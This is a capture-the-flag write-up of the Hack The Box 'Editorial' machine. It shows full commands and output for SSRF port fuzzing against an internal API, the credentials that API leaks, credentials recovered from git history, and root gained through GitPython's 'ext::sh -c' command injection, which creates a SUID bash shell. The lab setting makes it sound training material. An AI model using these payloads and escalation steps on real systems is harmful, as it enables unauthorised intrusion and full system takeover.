#hackthebox #linux #easy ![[Pasted image 20250816141503.png]] # Information Gathering - Nmap First, I opened the box with scanning all TCP ports. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -Pn -n --open --min-rate 3000 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 16:47 UTC Nmap scan report for 10.10.11.20 Host is up (0.051s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 17.24 seconds ``` I discovered 2 open ports from the initial scan. I scanned those two ports again with `-sCV` options to gather more information. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sCV -p 22,80 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 16:48 UTC Nmap scan report for 10.10.11.20 Host is up (0.049s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA) |_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://editorial.htb |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds ``` Then I scanned top 10 UDP ports. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sU --top-ports 10 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 16:49 UTC Nmap scan report for 10.10.11.20 Host is up (0.050s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 123/udp open|filtered ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 161/udp closed snmp 445/udp closed microsoft-ds 631/udp closed ipp 1434/udp closed ms-sql-m Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds ``` # Enumeration ##### HTTP - TCP 80 I mapped the IP address with the domain and added to `/etc/hosts` file. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ echo '10.10.11.20 editorial.htb' | sudo tee -a /etc/hosts [sudo] password for kali: 10.10.11.20 editorial.htb ``` The landing page of `editorial.htb` looks like this. ![[Pasted image 20250816115230.png]] `Publish with us` tab reveals a file upload feature. ![[Pasted image 20250816115326.png]] I opened an `HTTP server` with Python and attempted to get the image on my kali from the upload feature and it successfully grabbed the image. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ ls crab.png exploit.py exploit.sh vpn ┌──(kali㉿kali)-[~/Desktop] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.20 - - [16/Aug/2025 16:55:19] "GET /crab.png HTTP/1.1" 200 - ``` ![[Pasted image 20250816115607.png]] After selecting a file through the file upload browser, when you click on `Preview` button the server generates an outbound HTTP request. ![[Pasted image 20250816121615.png]] I made another request to the root of my python webserver `http://10.10.14.10` and the server returned a path. ![[Pasted image 20250816122937.png]] Visiting the path using `curl` reveals the directory listing page of the directory where I'm serving the webserver. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ curl http://editorial.htb/static/uploads/13edd918-96cc-4435-a7ff-3f417ba69c83 <!DOCTYPE HTML> <html lang="en"> <head> <meta charset="utf-8"> <title>Directory listing for /</title> </head> <body> <h1>Directory listing for /</h1> <hr> <ul> <li><a href="crab.png">crab.png</a></li> <li><a href="exploit.py">exploit.py</a></li> <li><a href="exploit.sh">exploit.sh</a></li> <li><a href="php-reverse-shell.php">php-reverse-shell.php</a></li> <li><a href="vpn/">vpn/</a></li> </ul> <hr> </body> </html> ``` I wanted to know if there are any other ports running internally. I tried `http://127.0.0.1:80` and it hangs for a fairly long time and returned what appeared to be path for a default image. ![[Pasted image 20250816123734.png]] However, when I made the same request to a different random port, the server responds right away. ![[Pasted image 20250816124037.png]] I'm going to perform fuzzing against all 65,535 ports to find out which port is running internally. In order to do that, I need to first download this request as a file. ![[Pasted image 20250816125009.png]] After running `ffuf` for a few seconds, it discovered that port `5000` is running. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ ffuf -u http://editorial.htb/upload-cover -request ssrf.req -w <(seq 0 65535) -ac /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://editorial.htb/upload-cover :: Wordlist : FUZZ: /proc/self/fd/11 :: Header : Accept: */* :: Header : Accept-Language: en-US,en;q=0.5 :: Header : Content-Type: multipart/form-data; boundary=---------------------------34002710372520290072070125050 :: Header : Origin: http://editorial.htb :: Header : Connection: keep-alive :: Header : Referer: http://editorial.htb/upload :: Header : Host: editorial.htb :: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 :: Header : Accept-Encoding: gzip, deflate, br :: Header : Priority: u=0 :: Data : -----------------------------34002710372520290072070125050 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:FUZZ -----------------------------34002710372520290072070125050 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------34002710372520290072070125050-- :: Follow redirects : false :: Calibration : true :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ 5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 167ms] :: Progress: [5037/65536] :: Job [1/1] :: 312 req/sec :: Duration: [0:00:10] :: Errors: 0 :: ``` I made a request to `localhost:5000` and this time the server didn't return the default `.jpeg` file but something else instead. Let's check it out. ![[Pasted image 20250816125448.png]] Making a request to `localhost:5000` using `cURL` revealed some response in JSON format. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ curl http://editorial.htb/static/uploads/9d89efe9-8902-44d0-b75d-a34929fbde70 {"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/message s/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metada ta/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint": "/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform."," endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list o f all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrie ve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]} ``` Made it look better for readability with `jq` ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ curl http://editorial.htb/static/uploads/9d89efe9-8902-44d0-b75d-a34929fbde70 | jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 911 100 911 0 0 6959 0 --:--:-- --:--:-- --:--:-- 6954 { "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] } ``` I tried communicating to most of the endpoints via `Burp` and the server returned the path to data for each but `new_authors` and `changelog` are the only endpoints that didn't return null. ![[Pasted image 20250816130410.png]] Found a set of credentials: `dev:dev080217_devAPI!@` ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ curl http://editorial.htb/static/uploads/97d140ec-558d-4b25-9567-b2007123eabf | jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 506 100 506 0 0 4255 0 --:--:-- --:--:-- --:--:-- 4288 { "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team." } ``` ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ curl http://editorial.htb/static/uploads/8fb13e23-b553-4cf2-9d45-0d56b4d6bc9b | jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 618 100 618 0 0 5181 0 --:--:-- --:--:-- --:--:-- 5193 [ { "1": { "api_route": "/api/v1/metadata/", "contact_email_1": "[email protected]", "contact_email_2": "[email protected]", "editorial": "Editorial El Tiempo Por Arriba" } }, { "1.1": { "api_route": "/api/v1.1/metadata/", "contact_email_1": "[email protected]", "contact_email_2": "[email protected]", "editorial": "Ed Tiempo Arriba" } }, { "1.2": { "contact_email_1": "[email protected]", "contact_email_2": "[email protected]", "editorial": "Editorial Tiempo Arriba", "endpoint": "/api/v1.2/metadata/" } }, { "2": { "contact_email": "[email protected]", "editorial": "Editorial Tiempo Arriba", "endpoint": "/api/v2/metadata/" } } ] ``` # Initial Access - Shell as `dev` I successfully logged into `ssh` server with the credentials I discovered. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ ssh dev@$IP The authenticity of host '10.10.11.20 (10.10.11.20)' can't be established. ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.20' (ED25519) to the list of known hosts. [email protected]'s password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Aug 15 06:11:17 PM UTC 2025 System load: 0.08 Usage of /: 61.3% of 6.35GB Memory usage: 12% Swap usage: 0% Processes: 224 Users logged in: 0 IPv4 address for eth0: 10.10.11.20 IPv6 address for eth0: dead:beef::250:56ff:feb0:c43d Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52 dev@editorial:~$ whoami; id dev uid=1001(dev) gid=1001(dev) groups=1001(dev) ``` Found `user.txt` in `/home/dev` ```bash dev@editorial:~$ cat user.txt ddf... ``` # Lateral Movement - shell as `prod` in `/home/dev`, I found `.git` directory under the `apps` directory. ```bash dev@editorial:~/apps$ ls -la total 12 drwxrwxr-x 3 dev dev 4096 Jun 5 2024 . drwxr-x--- 4 dev dev 4096 Aug 15 18:14 .. drwxr-xr-x 8 dev dev 4096 Jun 5 2024 .git ``` `git log` revealed all of the commits made. ```bash dev@editorial:~/apps/.git$ git log commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master) Author: dev-carlos.valderrama <[email protected]> Date: Sun Apr 30 21:04:21 2023 -0500 fix: bugfix in api port endpoint commit dfef9f20e57d730b7d71967582035925d57ad883 Author: dev-carlos.valderrama <[email protected]> Date: Sun Apr 30 21:01:11 2023 -0500 change: remove debug and update api port commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae Author: dev-carlos.valderrama <[email protected]> Date: Sun Apr 30 20:55:08 2023 -0500 change(api): downgrading prod to dev * To use development environment. commit 1e84a036b2f33c59e2390730699a488c65643d28 Author: dev-carlos.valderrama <[email protected]> Date: Sun Apr 30 20:51:10 2023 -0500 feat: create api to editorial info * It (will) contains internal info about the editorial, this enable faster access to information. commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 Author: dev-carlos.valderrama <[email protected]> Date: Sun Apr 30 20:48:43 2023 -0500 feat: create editorial app * This contains the base of this project. * Also we add a feature to enable to external authors send us their books and validate a future post in our editorial. ``` `git log -p` reveals what changes were made for each commit and we can see that `prod` user credentials have been replaced with `dev`'s. ![[Pasted image 20250816131955.png]] # Privilege Escalation - shell as `root` `prod:080217_Producti0n_2023!@` logged in as user `prod` with the credentials above. ```bash dev@editorial:~/apps/.git$ su prod Password: prod@editorial:/home/dev/apps/.git$ whoami prod ``` `sudo -l` tells us that `prod` user can run the following command with `sudo` ```bash prod@editorial:/home/dev/apps/.git$ sudo -l [sudo] password for prod: Matching Defaults entries for prod on editorial: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User prod may run the following commands on editorial: (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py * ``` `clone_prod_change.py` is written as follows: ```bash prod@editorial:/home/dev/apps/.git$ cat /opt/internal_apps/clone_changes/clone_prod_change.py #!/usr/bin/python3 import os import sys from git import Repo os.chdir('/opt/internal_apps/clone_changes') url_to_clone = sys.argv[1] r = Repo.init('', bare=True) r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]) ``` `from git import Repo` is a Python import statement to use `GitPython` library. `pip show gitpython` revealed its version: 3.1.29 ```bash prod@editorial:~$ pip show gitpython Name: GitPython Version: 3.1.29 Summary: GitPython is a python library used to interact with Git repositories Home-page: https://github.com/gitpython-developers/GitPython Author: Sebastian Thiel, Michael Trier Author-email: [email protected], [email protected] License: BSD Location: /usr/local/lib/python3.10/dist-packages Requires: gitdb Required-by: ``` You can also type `pip freeze` and it returns all installed packages and their versions. ```bash prod@editorial:~$ pip freeze attrs==21.2.0 Automat==20.2.0 Babel==2.8.0 bcrypt==3.2.0 blinker==1.4 certifi==2020.6.20 chardet==4.0.0 click==8.0.3 colorama==0.4.4 command-not-found==0.3 configobj==5.0.6 constantly==15.1.0 cryptography==3.4.8 dbus-python==1.2.18 distro==1.7.0 distro-info==1.1+ubuntu0.2 Flask==2.2.2 gitdb==4.0.10 GitPython==3.1.29 gunicorn==20.1.0 httplib2==0.20.2 hyperlink==21.0.0 idna==3.3 importlib-metadata==4.6.4 incremental==21.3.0 itsdangerous==2.1.2 jeepney==0.7.1 Jinja2==3.0.3 jsonpatch==1.32 jsonpointer==2.0 jsonschema==3.2.0 keyring==23.5.0 launchpadlib==1.10.16 lazr.restfulclient==0.14.4 lazr.uri==1.0.6 ``` I searched for `GitPython 3.1.29 exploit` and there was this known exploit from `Snyk`. The code here is very similar to what we have in the target machine. ![[Pasted image 20250816134220.png]] I followed the PoC and it crashes. ```bash prod@editorial:/tmp$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwn3d' Traceback (most recent call last): File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module> r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone finalize_process(proc, stderr=stderr) File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process proc.wait(**kwargs) File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait raise GitCommandError(remove_password_if_present(self.args), status, errstr) git.exc.GitCommandError: Cmd('git') failed due to: exit code(128) cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwn3d new_changes stderr: 'Cloning into 'new_changes'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. ' ``` However, if you navigate to `/tmp`, `pwn3d` is actually created. ```bash prod@editorial:/tmp$ ls -l pwn3d -rw-r--r-- 1 root root 0 Aug 15 18:53 pwn3d ``` Now we confirmed the exploit is actually working. I'm going to tweak it a bit. - Copy `/bin/bash` to `/tmp/wook` - Change owner/group of the file to `root` - Change the file permission to `6777`: 6 -> `SUID + SGID` Bit set. ```bash prod@editorial:/tmp$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/wook\nchown root:root /tmp/wook\nchmod 6777 /tmp/wook' #!/bin/bash cp /bin/bash /tmp/wook chown root:root /tmp/wook chmod 6777 /tmp/wook echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/wook\nchown root:root /tmp/wook\nchmod 6777 /tmp/wook' > /dev/shm/wook.sh chmod +x /dev/shm/wook.sh ``` Now I ran the command again and it crashed just like before. ```bash prod@editorial:/tmp$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /dev/shm/wook.sh' Traceback (most recent call last): File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module> r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone finalize_process(proc, stderr=stderr) File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process proc.wait(**kwargs) File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait raise GitCommandError(remove_password_if_present(self.args), status, errstr) git.exc.GitCommandError: Cmd('git') failed due to: exit code(128) cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c /dev/shm/wook.sh new_changes stderr: 'Cloning into 'new_changes'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. ' ``` However, in `tmp`, the `wook` file is created with all SUID + SGID bits set. ```bash prod@editorial:/tmp$ ls -l wook -rwsrwsrwx 1 root root 1396520 Aug 15 19:03 wook ``` run it with `-p` option to keep root privileges. ```bash prod@editorial:/tmp$ ./wook -p wook-5.1# whoami root ``` Found `root.txt` ```bash wook-5.1# ls root.txt wook-5.1# cat root.txt f56... ```